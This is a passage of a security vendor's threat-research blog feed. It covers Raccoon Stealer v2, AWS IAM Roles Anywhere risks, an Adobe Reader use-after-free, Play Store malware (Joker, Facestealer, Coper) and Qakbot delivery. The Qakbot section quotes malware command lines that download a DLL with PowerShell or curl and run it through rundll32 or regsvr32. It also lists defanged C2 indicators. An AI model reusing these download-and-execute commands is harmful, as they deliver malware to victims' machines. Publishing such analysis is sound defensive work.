Figure 21: Raccoon v2 URL in buffer Request Headers Figure 22: Raccoon v2 Request Headers Once the request has been made, the malware checks if the content body length is zero or not. If no content is received from command and control or the content body length is zero, the malware exits. This check is made because the exfiltration mechanism of the malware requires command and control to respond with a list IP Addresses to exfiltrate data to. In Figure 23, this condition can be seen along with the 'ExitProcess()' function call. Figure 23: Raccoon v2 Verifying Response Content Discarded the dependence on Telegram bot The Raccoon v1 relied on the Telegram Bot API description page to fetch command and control IP addresses and establish connections. The recent malware variants (v2) from this family have started to hard-code IP addresses in the binary to achieve this task. Raccoon Malware v2 uses 5 hard coded IP addresses and iterates over them. Data Exfiltration The malware relies on response from command and control server to down the required DLLs and decides on the next course of action. As of the writing of this blog the command and control IP has died, thus analysis of traffic towards the host is not possible. ThreatLabz has previously observed that the command and control server provides information on where to download additional payloads from and which IP Address to use for further communications. Figure 24: Raccoon v2 pinging extracted IP Address Grepped DLLs Figure 25: Raccoon v2 DLLs that are downloaded The malware uses a WINAPI call to SHGetFolderPathW to get a path to C:\Users\<User>\AppData and appends “Local” to it and uses it as the path to store stolen information before sending it to the command and control. Figure 26: Raccoon v2 Storage Path In Buffer Indicators Of Compromise IP contacted by the analyzed sample of Raccoon v2. 55(.)195(.)166(.)184 List Of Other IPs that act as an C2 for other samples can be found here. Downloaded DLLs nss3.dll sqlite3.dll GdiPlus.dll Gdi32.dll Path Used By the Malware C:\Users\<USERNAME>\AppData\Local Other samples observed in the wild of Raccoon v2. 0123b26df3c79bac0a3fda79072e36c159cfd1824ae3fd4b7f9dea9bda9c7909 022432f770bf0e7c5260100fcde2ec7c49f68716751fd7d8b9e113bf06167e03 048c0113233ddc1250c269c74c9c9b8e9ad3e4dae3533ff0412d02b06bdf4059 0c722728ca1a996bbb83455332fa27018158cef21ad35dc057191a0353960256 2106b6f94cebb55b1d55eb4b91fa83aef051c8866c54bb75ea4fd304711c4dfc 263c18c86071d085c69f2096460c6b418ae414d3ea92c0c2e75ef7cb47bbe693 27e02b973771d43531c97eb5d3fb662f9247e85c4135fe4c030587a8dea72577 2911be45ad496dd1945f95c47b7f7738ad03849329fcec9c464dfaeb5081f67e 47f3c8bf3329c2ef862cf12567849555b17b930c8d7c0d571f4e112dae1453b1 516c81438ac269de2b632fb1c59f4e36c3d714e0929a969ec971430d2d63ac4e 5d66919291b68ab8563deedf8d5575fd91460d1adfbd12dba292262a764a5c99 62049575053b432e93b176da7afcbe49387111b3a3d927b06c5b251ea82e5975 7299026b22e61b0f9765eb63e42253f7e5d6ec4657008ea60aad220bbc7e2269 7322fbc16e20a7ef2a3188638014a053c6948d9e34ecd42cb9771bdcd0f82db0 960ce3cc26c8313b0fe41197e2aff5533f5f3efb1ba2970190779bc9a07bea63 99f510990f240215e24ef4dd1d22d485bf8c79f8ef3e963c4787a8eb6bf0b9ac 9ee50e94a731872a74f47780317850ae2b9fae9d6c53a957ed7187173feb4f42 bd8c1068561d366831e5712c2d58aecb21e2dbc2ae7c76102da6b00ea15e259e c6e669806594be6ab9b46434f196a61418484ba1eda3496789840bec0dff119a e309a7a942d390801e8fedc129c6e3c34e44aae3d1aced1d723bc531730b08f5 f7b1aaae018d5287444990606fc43a0f2deb4ac0c7b2712cc28331781d43ae27 Conclusion Raccoon Stealer sold as Malware-as-a-Service has become popular over the past few years, and several incidents of this malware have been observed. The Authors of this malware are constantly adding new features to this family of malware. This is the second major release of the malware after the first release in 2019. This shows that the malware is likely to evolve and remain a constant threat to organizations. Zscaler coverage We have ensured coverage for the payloads seen in these attacks via advanced threat signatures as well as our advanced cloud sandbox. Figure 27: Zscaler Sandbox Detection Zscaler's multilayered cloud security platform detects indicators at various levels, as shown below: Win32.PWS.Raccoon Fri, 29 7月 2022 15:45:39 -0700 Sarthak Misraa AWS IAM Roles Anywhere ~ IAM Risks Anywhere? AWS recently announced a new revolutionary Identity and Access Management (IAM) feature - IAM Roles Anywhere. This feature allows workloads (or any certificate holding entity, for that matter) outside the AWS account (on-prem or in other clouds), to assume a role (obtain temporary credentials for a role) in your AWS account and access AWS resources. While this feature presents a significant improvement in management of external access to AWS resources, it also presents security challenges; and unless done correctly; could potentially reduce the governance and manageability of your workload's identities. How does it work? Prior to this feature, an on-premises server could access an S3 bucket in an AWS account, for example, by creating an IAM user in the AWS account, creating access keys for that IAM user, and placing the keys on the on-premises server. It is considered bad practice to use access keys to identify workloads for a variety of reasons, including: Access keys can be forgotten and leaked There is no visibility into who is the entity using these keys They require regular rotation In comes Roles Anywhere To simplify; this feature relies on a CA (Certificate Authority) that issues certificates to your workloads confirming they are recognized by the CA. Inside AWS, you create a Trust Anchor, which is basically telling AWS “this is my CA, which I trust to authenticate my workloads.” Additionally, you create “profiles” that are collections of roles that can be assumed, once you are trusted by this trust anchor. When a workload wants to access an AWS resource, let's say, the S3 bucket above, it presents AWS with its certificate signed by the CA and signs the request with its private key. If the certificate is valid, AWS will return the temporary credentials for that role to the calling workload. IAM Roles Anywhere (Courtesy AWS Identity): Modification to a role’s trust policy Any role that would be assumed by workloads using Roles Anywhere should trust the “rolesanywhere” service by adding the rolesanywhere service to its trust policy. The following trust policy example presents the minimum requirement in a role’s trust policy, for the role to partake in Roles Anywhere: How to distinguish between workloads Workloads can be distinguished by the Organizational Unit (OU) and Subject Common Name (CN) in the certificate. Both, the CN and OU are available in the aws:principalTag key to be used as a condition in the role's trust policy. In the example above, if this role should only be assumed by a workload named “” - the CA would issue the workload a certificate with CN = “” and the role’s trust policy should include the following condition: Security implications One of the biggest challenges in managing IAM in the cloud is answering the question - who can access my cloud? Put differently: Where are my identities? In any cloud environment, the identities are a mix of IAM users, workloads, externally assumed roles, and federated identities. While the need to eliminate usage of IAM users and access keys is clear, the goal should be to reduce complexity, rather than increasing it. The combination of CA and condition keys in rolesanywhere renders them as a cloud identity store, where your identities hide in the CN as defined by the CA and enforced by your condition keys. Imagine a cloud security admin trying to figure out, “who can assume this role from the internet?” going through multiple complex JSON objects of trust policies and chasing the CA config to map the workload assuming the role and accessing the data. To put it in another way, condition keys are hardly where you want to manage your identities that can access your account from the internet. In terms of blast radius management, once rolesanywhere is used in the environment, a compromised CA means a compromised AWS environment, which is non-trivial. In addition, some non-trivial configuration gaps one should be aware of, when deploying this service: While the CN is available as a condition key in the role's trust policy, its usage is not enforced. One could add the rolesanywhere service to the trust policy without any conditions, meaning any entity that presents a valid certificate from the trusted CA could assume the role. Multiple CN strings can be added to the condition of a trust policy, violating the separation of duties and least-privileged approach. The same role can trust rolesanywhere as well as other identities; hence be assumed by the rolesanywhere service and other entities in parallel, creating yet another complexity layer. Source IP of the workload cannot be used in the condition keys of neither the trust policy nor the attached permission policies (While they are available when using access keys and an IAM User). This is because the IP in the request context is set as the caller service (rolesanywhere). If the workload’s IP could be passed in the request context, that could add a significant layer of control. Best practices and recommendations The following best practices are built in and supported by Zscaler’s Posture Control, CNAPP platform: Designate dedicated roles to be assumed via rolesanywhere; do not reuse existing roles that are assumed outside rolesanywhere Designate a single role per workload Group similar workloads into rolesanywhere profiles for better manageability Use session policies in the profile to control the blast radius of a compromise. For example, use the session policies to Deny deletion of S3 Buckets and database instances Deny any IAM action Limit the actions to the relevant services Use CN and OU in a format that aligns with org naming conventions and enables accountability To learn more about Posture Control, schedule a demo or contact us. Wed, 27 7月 2022 08:00:01 -0700 Aharon Fridman Analysis of Adobe Acrobat Reader Javascript Doc.print() Use-After-Free Vulnerability (CVE-2022-34233) In July 2022, Adobe released a security update for vulnerabilities in Adobe Acrobat and Reader. The update fixed a vulnerability that is identified as CVE-2022-34233 discovered by the Zscaler ThreatLabz research team. In this blog, we present our analysis of CVE-2022-34233, ​​a Use-After-Free vulnerability in Adobe Acrobat and Reader. Vulnerability Description CVE-2022-34233 is a Use-After-Free vulnerability that could potentially lead to the disclosure of sensitive memory. An attacker could leverage this vulnerability to bypass mitigations such as ASLR. Exploitation of this issue requires user interaction in that a victim must open a malicious file. Known Affected Software Configurations Acrobat DC Continuous 22.001.20142 and earlier versions in Windows & macOS Acrobat Reader DC Continuous 22.001.20142 and earlier versions in Windows & macOS Acrobat 2020 Classic 2020   20.005.30334 and earlier versions (Win) Acrobat 2020 Classic 2020  20.005.30331 and earlier versions (Mac) Acrobat Reader 2020 Classic 2020   20.005.30334 and earlier versions (Win) Acrobat Reader 2020 Classic 2020  20.005.30331 and earlier versions (Mac) Acrobat 2017 Classic 2017 17.012.30229 and earlier versions (Win) Acrobat 2017 Classic 2017 17.012.30227 and earlier versions  (Mac)  Acrobat Reader 2017 Classic 2017 17.012.30229 and earlier versions (Win) Acrobat Reader 2017 Classic 2017 17.012.30227 and earlier versions (Mac)     Proof of Concept The vulnerability can be triggered by opening a malicious PDF file. Zscaler ThreatLabz created a PoC file that will cause the following crash. To reproduce this issue, the following steps can be performed: Enable Page Heap in Acrobat.exe In Windbg, open Executable -> File name: Acrobat.exe -> Arguments: /path/to/poc.pdf, then enable Debug child processes also -> Open. Next, issue the command g in Windbg multiple times. Adobe Acrobat will cause a crash after a while. The following crash will be produced: Test Environment Adobe Acrobat Reader DC 64 bits version, Product version: 22.1.20117.0 EScript.api, Product version: 22.1.20117.0 Technical Analysis This Use-After-Free (UAF) vulnerability is triggered when Adobe Reader improperly handles the Doc.print() Javascript API that is filled with specially crafted parameters. In Figure 1, the definition of the Javascript API Doc.print() is shown. Figure 1. The definition of the Javascript API Doc.print() Figure 2 shows the crafted PoC to trigger this vulnerability. Figure 2. Code snippet of the PoC Zscaler ThreatLabz also noticed the same vulnerability can be reproduced by calling the Doc.print() function with no parameters as shown below. In Windbg, when the memory access violation happens, the memory address that triggered the exception can be analyzed, along with the stack backtraces. In Figure 3, the register RDX points to a freed memory region. Therefore, when Adobe Acrobat accesses this freed memory region it will cause a Use-After-Free crash. Figure 3. The comparison between the outputs of command !heap -p -a and kb The two highlighted parts have the same stack backtraces. The following breakpoint can be set to trace how the memory region is freed and then used again. bu Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0xfe2e2e When the breakpoint is hit, the following output is expected in Figure 4. Figure 4. Breakpoint at Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0xfe2e2e At this breakpoint, it calls the function Acrobat!AIDE::PixelPartInfo::PixelPartInfo+0xfe2e2e that is mapped to the function sub_61C26DB0(). Figure 5 shows the code snippet of this function in IDA Pro. Figure 5. The code snippet of the function sub_61C26DB0() The following is the control flow that causes the use-after-free vulnerability: The function sub_600A6A40() is used to allocate a memory region with a size of 0x30 bytes. The function sub_60085798() copies the memory region allocated in step 1 to a new memory region, and stores the pointer to the new memory region in an array. Since the variable v7 is 0x17, it calls the API free() to free the new memory region. The function sub_61C20398() will access the memory region freed in step 3. Mitigation All users of Adobe Acrobat and Reader are encouraged to upgrade to the latest version of this software. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against this vulnerability. PDF.Exploit.CVE-2022-34233 References Mon, 01 8月 2022 08:27:08 -0700 Kai Lu Joker, Facestealer and Coper banking malwares on Google Play store Google Play Store is typically considered to be one of the safest sources for users to find and install android apps. However, threat actors continue to evolve their tactics and are able to successfully upload dangerous apps laced with malware on the Google play store. Recently, the Zscaler ThreatLabz team discovered apps involving multiple instances of the Joker, Facestealer, and Coper malware families spreading in the virtual marketplace. The ThreatLabz team immediately notified the Google Android Security team of these newly identified threats, and they promptly removed the malicious apps from the Google Play Store. The following is the technical analysis of these three malware family payloads that were recently discovered in the Play Store: Joker Malware Joker is one of the most prominent malware families targeting Android devices. Despite public awareness of this particular malware, it keeps finding its way into Google’s official app store by regularly modifying the malware’s trace signatures including updates to the code, execution methods, and payload-retrieving techniques. This malware is designed to steal SMS messages, contact lists, and device information, and to sign the victim up for premium wireless application protocol (WAP) services. Over the past two months, our ThreatLabz researchers discovered the following malicious Joker downloader apps in the Google Play Store: Simple Note Scanner - com.wuwan.pdfscan Universal PDF Scanner - Private Messenger - com.recollect.linkus Premium SMS - com.premium.put.trustsms Smart Messages - com.toukyoursms.timemessages Text Emoji SMS - messenger.itext.emoji.mesenger Blood Pressure Checker - com.bloodpressurechecker.tangjiang Funny Keyboard - com.soundly.galaxykeyboard Memory Silent Camera - com.silentmenory.timcamera Custom Themed Keyboard - com.custom.keyboardthemes.galaxiy Light Messages - Themes Photo Keyboard - com.themes.bgphotokeyboard Send SMS - exazth.message.send.text.sms Themes Chat Messenger - com.relish.messengers Instant Messenger - com.sbdlsms.crazymessager.mmsrec Cool Keyboard - com.colate.gthemekeyboard Fonts Emoji Keyboard - com.zemoji.fontskeyboard Mini PDF Scanner - com.mnscan.minipdf Smart SMS Messages - Creative Emoji Keyboard - com.whiteemojis.creativekeyboard.ledsloard Fancy SMS - con.sms.fancy Fonts Emoji Keyboard - com.symbol.fonts.emojikeyboards Personal Message - Funny Emoji Message - com.funie.messagremo Magic Photo Editor - Professional Messages - com.adore.attached.message All Photo Translator - myphotocom.allfasttranslate.transationtranslator Chat SMS - com.maskteslary.messages Smile Emoji - com.balapp.smilewall.emoji Wow Translator - com.imgtop.camtranslator All Language Translate - com.exclusivez.alltranslate Cool Messages - Blood Pressure Diary - Chat Text SMS - com.echatsms.messageos Hi Text SMS - ismos.mmsyes.message.texthitext.bobpsms Emoji Theme Keyboard - com.gobacktheme.lovelyemojikeyboard iMessager - Text SMS - com.ptx.textsms Camera Translator - com.haixgoback.outsidetext.languagecameratransla Come Messages - com.itextsms.messagecoming Painting Photo Editor - Rich Theme Message - com.getmanytimes.richsmsthememessenge Quick Talk Message - mesages.qtsms.messenger Advanced SMS - com.fromamsms.atadvancedmmsopp Professional Messenger - com.akl.smspro.messenger Classic Game Messenger - com.classcolor.formessenger.sic Style Message - com.istyle.messagesty Private Game Messages - Timestamp Camera - Social Message - com.colorsocial.message ThreatLabz has discovered over 50 unique Joker downloader apps on the Play Store till now. All of these apps were downloaded over 300k times combined and they typically fall into one of the following common categories: Communication Health Personalization Photography Tools The following is the breakdown of the number of apps per category: The tools and communication were among the most targeted categories covering the majority of the Joker-infected apps. ThreatLabz discovered daily uploads of apps containing the Joker malware indicating the high activity level and persistence of the adversary group. Consistent with previous findings, ThreatLabz latest discoveries belonging to the Joker malware campaign continue to follow similar developer naming patterns and use of familiar techniques. Check out our previous blog Joker Joking in Google Play for a more in-depth analysis of this specific campaign. The following is the technical analysis of the Enjoy Message Joker app: App Name: Enjoy Message Package Name: sms.ienjoy.joysms.message The Joker malware authors develop and release a range of apps from the very complex to incredibly simple. Instead of waiting for apps to gain a specified volume of installs and reviews before swapping for a malware-laced version, the Joker developers have taken to hiding the malicious payload in a common asset file and package application using commercial packers. Serving as one of the primary reasons why these malicious apps often go undetected by antivirus softwares and during evaluation by the Play Store. Most commonly, threat actors disguise the Joker malware in messaging applications that require users to grant escalated access permissions by allowing them to serve as the default SMS app on the user's phone. The malware uses these advanced permissions to carry out its operations. In the Enjoy SMS application, the payload is hidden in the known path but the path itself is obfuscated in the application's class. Fig 1: Obfuscated path of the payload Upon deobfuscation, the path becomes visible in the asset directory "io/michaelrocks/libphonenumber/android/data/PhoneNumberAlternateFormatsProto_53" where payload is residing. The package name of the application is used to derive the hash which is used as the AES decryption key. This key is used to decrypt the payload with an executable(.so) file which should contain the following declared functions. Fig 2: Function/class names of similar known SDKs To deter investigation, the class and method names of the functions appear similar to known SDKs. "onInstall" function in the hidden dropped executable is called at runtime after loading executable by the "system.loadlibrary" function. Fig 3: Implementation of malicious code inside executable As shown above, the executable loads the method ‘Wnjre’ from the ‘com.Brling’ class. The dropped executable hides the payload with Base64 encryption. Fig 4: Base64 encrypted content The second payload downloads a known weaponized Java ARchive (JAR) file as a third payload as shown below. Fig 5: Decrypted payload The following are some examples of common techniques used by Joker Malware: 1. The app confirms if its package is still live on the Google Play Store. Fig 6: Checks Google Play Store to confirm the app is still live. 2. Many Joker apps hide the payload in the assets folder of the Android Package Kit (APK) and creates an ARM ABI executable to avoid detection by most sandboxes which are based on x86 architecture. 3. Joker malware hides payloads with different types of encryption including, XOR, AES, DES, ElGamal which are also commonly used with fake known asset files. Few of them have extensions like JSON, TTF, PNG or database files. In several examples, apps encrypted and hide the malicious payload in the meta-data of the app manifest file. More often, the decryption key is derived from the package name of the app possibly to avoid the additional effort of customizing decryption routines. Fig 7: ELGAMAL encryption Fig 8: DES key derivation from the package name IOCs: http://givehotdog[.]com https://trustcats[.]com http://giveme8[.]com/ https://xjuys[.]oss-accelerate[.]aliyuncs[.]com/xjuys http://139[.]177[.]180[.]78/hell https://xjuys[.]oss-accelerate[.]aliyuncs[.]com/fbhx1 https://xjuys.oss-accelerate[.]aliyuncs[.]com/fbhx2 FaceStealer Malware Facestealer malware was also discovered on the Google Play Store, known for targeting Facebook users with fake Facebook login screens. Once the device is infected, the user is prompted to login to Facebook and can’t use the app without entering their credentials. Upon successful login, the credentials as well as auth tokens are stolen by the malware author. App Name: cam.vanilla.snapp Downloads: 5000 Category: Tools Fig 9: Fake Facebook login screen The fake page shown above, opened by the app injects downloaded javascript from the server using WebView. Fig 10: URL for downloading malicious JavaScript Once enabled, the malware app reaches out to the command and control (C2) server to download the malicious javascript. The URL, https://busynow[.]store/config, is still active and in the latest update, the malware authors added a character to fail the automatic decode of the Base64 encoded string. In the following screenshots, the added extra “W” character will cause the decode failure and revert to plaintext. Fig 11: Base64 decoded As shown in the screenshotbelow, stolen credentials and tokens are sent to the C2 serverwith the help of javascript loaded with malicious code. Fig 12: Shows the "c_url" parameter for a remote C2 stealing facebook credentials. IOCs: busynow[.]store Zs8668[.]com kcoffni[.]xyz Coper Malware Coper is a well known trojan that targets banking applications in Europe, Australia, and South America disguised as a legitimate app in the Google Play Store. Once downloaded, this app unleashes the Coper malware infection which is capable of intercepting and sending SMS text messages, making USSD (Unstructured Supplementary Service Data) requests to send messages, keylogging, locking/unlocking the device screen, performing overly attacks, preventing uninstalls and generally allowing attackers to take control and execute commands on infected device via remote connection with a C2 server. The result of these activities ultimately leads to attackers gaining information and access they can leverage to steal money from victims. App Name: Unicc QR Scanner Package name: com.qrdscannerratedx Sha256: 02499a198a8be5e203b7929287115cc84d286fc6afdb1bc84f902e433a7961e4 Fig 13: Unicc QR Scanner app laced with Coper malware on Google Play Store This app disguises itself as a free QR scanner. Once installed, the app immediately prompts the user to update the app. Fig 14: Screenshots show the process of enabling the malware infection by asking the user to upgrade the app, then prompting them to further grant advanced access permissions to the app in their device settings. Next, the threat actors use a trojan dropper designed to install malware or a backdoor to a device, by leveraging the Google Firebase app developer tool to call-out and receive the URL that will deliver the malicious payload as shown in the screenshot below. Fig 15: Firebase call-out The malware downloads a configuration that includes the URL hosting the new and malicious payload. As shown in the screenshot below, the name of the new payload is set by the android Shared Preferences file. The name of the installed payload also continues to change as well. Fig 16: Shared preferences The newly installed file is a fake Google Play Store app on the device with the package name “com.fromtoo2” that immediately prompts the user to grant escalated accessibility permission and gain full control of the user's phone. In the background, the fake Google Play Store app loads the executable file and calls the predefined MvsEujZ function as further shown and described below. Fig 17: MvsEujZ function called from executable file The MvsEujZ function shown above decrypts a runnable file with a static key found in the executable and prompts the user to grant escalated accessibility permissions at launch. After decrypting with, the Coper code base becomes visible, as shown in the below screenshot. Fig 18: Coper codebase This final payload uses Rivest Cipher 4 (RC4) encryption to hide its malicious signatures and avoid detection. The following screenshot shows the decrypted C2 server addresses used by the Coper malware. Fig 19: Screenshot shows the decoded contents of the payload In the case that the Virtual Network Computing (VNC) service for remote-control access is not available, the malware authors leverage the android TeamViewer app to monitor the screen of the infected device as shown in the screenshot below. Fig 20: Screenshot shows the code enabling attackers to use TeamViewer to monitor the screen of a device remotely Finally, this last screenshot shows the backend of WebView where malicious javascript is loadedto enable the attackers to take full control through a C2 server connection and execute the actions they need to compromise and ultimately extort the victim. Fig 21: Shows attackers leveraging the android developer app WebView IOCs: raw[.]githubusercontent[.]com/k6062019/qq/main/porc[.]apk abashkinokabashkinok[.]top/ZmEwY2ZmZWYzN2Mw/ asqwnbvb[.]shop/ZmEwY2ZmZWYzN2Mw/ barabashkinok[.]top/ZmEwY2ZmZWYzN2Mw/ ccnfddbvb[.]pics/ZmEwY2ZmZWYzN2Mw/ eendfbvb[.]sbs/ZmEwY2ZmZWYzN2Mw/ nbervbwe[.]monster/ZmEwY2ZmZWYzN2Mw/ nbrtvbsd[.]mom/ZmEwY2ZmZWYzN2Mw/ nbvb3954[.]fun/ZmEwY2ZmZWYzN2Mw/ nbvbvber[.]makeup/ZmEwY2ZmZWYzN2Mw/ nbvmnbbn[.]lol/ZmEwY2ZmZWYzN2Mw/ nbvvvb[.]hair/ZmEwY2ZmZWYzN2Mw/ nterospbnvdos[.]site/ZmEwY2ZmZWYzN2Mw/ nterospusios[.]shop/ZmEwY2ZmZWYzN2Mw/ ntospusios[.]top/ZmEwY2ZmZWYzN2Mw/ nytbvb[.]one/ZmEwY2ZmZWYzN2Mw/ qqnnffbvb[.]space/ZmEwY2ZmZWYzN2Mw/ qwnnnbvb[.]skin/ZmEwY2ZmZWYzN2Mw/ vbfdnbvb[.]online/ZmEwY2ZmZWYzN2Mw/ vntososupplsos[.]live/ZmEwY2ZmZWYzN2Mw/ wwereffnbvb[.]store/ZmEwY2ZmZWYzN2Mw/ xxfdnbvb[.]quest/ZmEwY2ZmZWYzN2Mw/ What Android user’s can do to avoid infection by these malwares: Don’t install unnecessary, untrusted, and un-vetted apps on your mobile device. Stick to the sources and providers you know and trust. Look for apps with very high install numbers and positive reviews. Seek out apps that are recommended by sources you trust and also feature lots of installs and positive reviews. Don't grant notifications listener permissions and escalated accessibility permissions to apps you don't fully trust. The notification listener service enables the package name of the app to be added to the enabled_notification_listeners provider. This enables read notifications and it includes critical access notifications like auto-generated one-time password/pin (OTP). Avoid installing messaging apps if possible or use extreme caution and take the time to research and ensure that the app is well known and reviewed. Even when a link comes from a trusted friend asking you to download a messaging app, consider the possibility that your friend’s device may be compromised by malware and stop to confirm with them first, and then still take the time to conduct your own research and verify the app has a well-established and safe reputation before installing. Messaging apps require Read_SMS permission as their functionality and can easily leverage that permission to gain information including a key OTP they can use to further compromise victims. If you become a victim of a malicious app from the Play Store, inform Google about it immediately through the support options in your play Store app. It is important that we work together to identify, flag, and remove malicious apps from our preferred app stores as soon as possible to limit the spread of malware and inhibit the success of threat actors. If you are responsible for protecting your corporate network, deploy Zscaler’s zero trust architecture to protect your users and prevent further compromise if a malicious app is downloaded by a user on their personal device. Mon, 18 7月 2022 11:01:36 -0700 Viral Gandhi Rise in Qakbot attacks traced to evolving threat techniques Active since 2008, Qakbot, also known as QBot, QuackBot and Pinkslipbot, is a common trojan malware designed to steal passwords. This pervasive threat spreads using an email-driven botnet that inserts replies in active email threads. Qakbot threat actors are also known to target bank customers and use the access they gain through compromised credentials to spy on financial operations and gain valuable intel. Summary Qakbot has been a prevalent threat over the past 14 years and continues to evolve adopting new delivery vectors to evade detection. Zscaler Threatlabz has discovered a significant uptick in the spread of Qakbot malware over the past six months using several new techniques. Most recently, threat actors have transformed their techniques to evade detection by using ZIP file extensions, enticing file names with common formats, and Excel (XLM) 4.0 to trick victims into downloading malicious attachments that install Qakbot. Other more subtle techniques are being deployed by threat actors to prevent automated detection and raise the odds that their attack will work, including obfuscating code, leveraging multiple URLs to deliver the payload, using unknown file extension names to deliver the payload, and altering the steps of the process by introducing new layers between initial compromise, delivery, and final execution. Embedded as commonly-named attachments, Qakbot leverages ZIP archive file having embedded files such as Microsoft Office files, LNK, Powershell, and more. The screenshot in Fig. 1 below reveals a snapshot view of the spikes in Qakbot activity observed over the past six months. Figure1: Qakbot monitored during last 6 months in Zscaler Threatlabz Zscaler automatically identifies and blocks files containing Qakbot malware for our customers, and provides them with the best possible solution to manage this evolving threat. As an extra precaution against these types of threats, Zscaler recommends that organizations formally train users not to open email attachments sent from untrusted or unknown sources and encourage users to verify URLs in their browser address bar before entering credentials. The Zscaler ThreatLabz team will continue to monitor this campaign, as well as others to help keep our customers safe and share critical information with the larger SecOps community to help stop the spread of active threats like Qakbot and protect people everywhere. The following sections dive into an in-depth analysis of this evolving threat and provide actionable indicators that security professionals can apply to identify and block Qakbot in their environments. Technical analysis of evolving Qakbot techniques ThreatLabz has observed threat actors using various different file names to disguise attachments designed to deliver Qakbot. Using common file naming formats that include a description, generated numbers, and dates, the files feature common keywords for finance and business operations, including compensation figures, metric reports, invoices and other enticing datasets. To the unsuspecting victim, these types of files may either appear like everyday items for business as usual or as a rare opportunity to look at data they would not normally see. Either way, the victim is likely to fall for the sense of urgency at a fresh data set or request and click the file to learn more about what is inside and how it pertains to them. Malicious file name examples: Calculation-1517599969-Jan-24.xlsb Calculation-Letter-1179175942-Jan-25.xlsb ClaimDetails-1312905553-Mar-14.xlsb Compensation-1172258432-Feb-16.xlsb Compliance-Report-1634724067-Mar-22.xlsb ContractCopy-1649787354-Dec-21.xlsb DocumentIndex-174553751-12232021.xlsb EmergReport-273298556-20220309.xlsb Payment-1553554741-Feb-24.xlsb ReservationDetails-313219689-Dec-08.xlsb Service-Interrupt-977762469.xlsb Summary-1318554386-Dec27.xlsb Analyzing the de-obfuscated code exposes how these malicious attachments use XLM 4.0 to hide their macros and evade detection by static analysis tools and automated sandboxes. Looking back over the past six months, our researchers observed a different kind of emails templates and standardized Office templates which are being used and changed only slightly in nearly all of the analyzed Qakbot samples. Email Templates: Figure 2 : Standard Email and Office templates used for Qakbot delivery in last six months The following section provides a month by month overview of changes observed in Qakbot samples from December 2021 - May 2022: Attack Chain Figure 3: Diagram of Qakbot delivery and execution via Microsoft Office attachments December 2021: Qakbot XLM 4.0 snippet [Md5: 58F76FA1C0147D4142BFE543585B583F] Once the user clicks “Enable Content” to view the attachment, the macro is activated to look for a subroutine with a pre-defined function, in this case starting with auto_open777777. In the next step of the sequence, the URLDownloadToFile function is imported and called to download the malicious Qakbot Payload and drop it into the C:\ProgramData\ location on the victim’s machine with the filename .OCX which is actually Qakbot DLL. Then WinAPI EXEC from Excel4Macro directly executes the malicious payload or loads the payload using regsvr32.exe. Figure 4: Qakbot XLM 4.0 snippet from December 2021 January 2022: Qakbot XLM 4.0 snippet [Md5: 4DFF0479A285DECA19BC48DFF2476123] In the following snippet it executes macro code which is present in the cells from a hidden sheet named ‘EFFWFWFW'. This creates a REGISTER and consistently calls functions to be performed, except in this example the threat actor has evolved the action to avoid detection via obfuscation. Figure 5: Qakbot XLM 4.0 snippet from January 2022 February 2022: Qakbot XLM 4.0 snippet [Md5: D7C3ED4D29199F388CE93E567A3D45F9] Malware author leave code mostly unmodified. Create a folderOne using CreateDirectoryA WinAPI as shown in the following snapshot “C:\Biloa”. Figure 6: Qakbot XLM 4.0 snippet from February 2022 March 2022: Qakbot XLM 4.0 snippet [Md5: 3243D439F8B0B4A58478DFA34C3C42C7] Observed change in the file system persistence level. Change in payload drop location from C:\ProgramData\ to C:\Users\User\AppData\Local\[random_folder_name]\random.dll Less obfuscation and code is much more readable. Used option-s with regsvr32.exe so that it can install silently without prompting any kind of message. Figure 7: Qakbot XLM 4.0 snippet from March 2022 April 2022: XLM 4.0 snippet [Md5: 396C770E50CBAD0D9779969361754D69] A new change is the observation of fully de-obfuscated code in Qakbot attachments. A similarity observed across Qakbot variants is the use of multiple URLs that can deliver the malicious payload, so that if any one URL goes down or is blocked, then the payload can still be delivered by another available URL. Additionally, it is common to see threat actors trying to evade detection from automated security scans by using unknown extensions on dropped payloads such as OCX, ooccxx, .dat, .gyp, and more. Figure 8: Qakbot XLM 4.0 snippet from April 2022 May: Qakbot XLM 4.0 snippet [Md5: C2B1D2E90D4C468685084A65FFEE600E] Observed change in the filename to ([0-9]{2,5}\.[0-9]{4,12}\.dat]. Additionally, Instead of 4-5 different download payload URLs, only one Qakbot download URL is identified. Figure 9: Qakbot XLM 4.0 snippet from May 2022 Figure 10: Zscaler Sandbox Report Qakbot deliver by Malicious office attachment Spreading factor through LNK files: Attack Chain Figure 11: Qakbot delivery and execution through LNK file a) May 2022: Qakbot snippet of LNK file Observed increase using the shortcut LNK filetype source with names like: report[0-9]{3}\.lnk report228.lnk report224.lnk Observed change using powershell.exe to download the malware payload. Observed change and a clear sign of Qakbot evolving to evade updated security practices and defenses by loading the dll payload through rundll32.exe instead of regsvr32.exe. Argument: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit iwr -Uri -OutFile $env:TEMP\766.dll;Start-Process rundll32.exe $env:TEMP\766.dll,NhndoMnhdfdf b) June 2022: Qakbot snippet of LNK file Observed change in execution flow and name of file name both change on LNK file type. Regsvr32.exe used while qakbot dll loading and injects to explorer.exe as well for communication to command and control server. Observed file names using the {5[0-9]{7,10}_[0-9][6,8]}\.lnk} LNK file type: Argument: 'C:\Windows\system32\cmd.exe C:\Windows\System32\cmd.exe /q /c echo 'HRTDGR' && MD "%ProgramData%\Username" && curl.exe -o %ProgramData%\Username\filename.pos && ping -n 2 localhost && echo "MERgd" && echo "NRfd" && regsvr32 'C:\ProgramData\Username\filename.pos' Through command prompt it downloads a payload and drops the file on the victim’s machine with a curl command. Here are some observed examples of the process: CMD.EXE : /q : Turns the echo off. /c : Carries out the command specified by string and then stops. CURL.EXE : /o: Write to file After that it loads the downloaded dll payload through regsvr32.exe and injects into the explorer.exe. Then performs further operations, including: Checks for the presence of antivirus software. Creates a RUN key for persistence in the system. Creates scheduled tasks to execute the payload at a specific time. Figure 12: Zscaler Sandbox Report Qakbot deliver by LNK More details on these findings are covered in the ThreatLabz Qakbot vectors blog. Downloaded Qakbot DLL: 529fb9186fa6e45fd4b7d2798c7c553c from above mentioned LNK file. The entry point of the executable is fully obfuscated using duplicate MOV operations. Figure 13: Obfuscated entry point The following screenshot shows junk code obfuscating the script used to decode the payload. Figure 14: Code snippet for decoding the payload Checks for Windows Defender Emulation using WinAPI GetFileAttributes 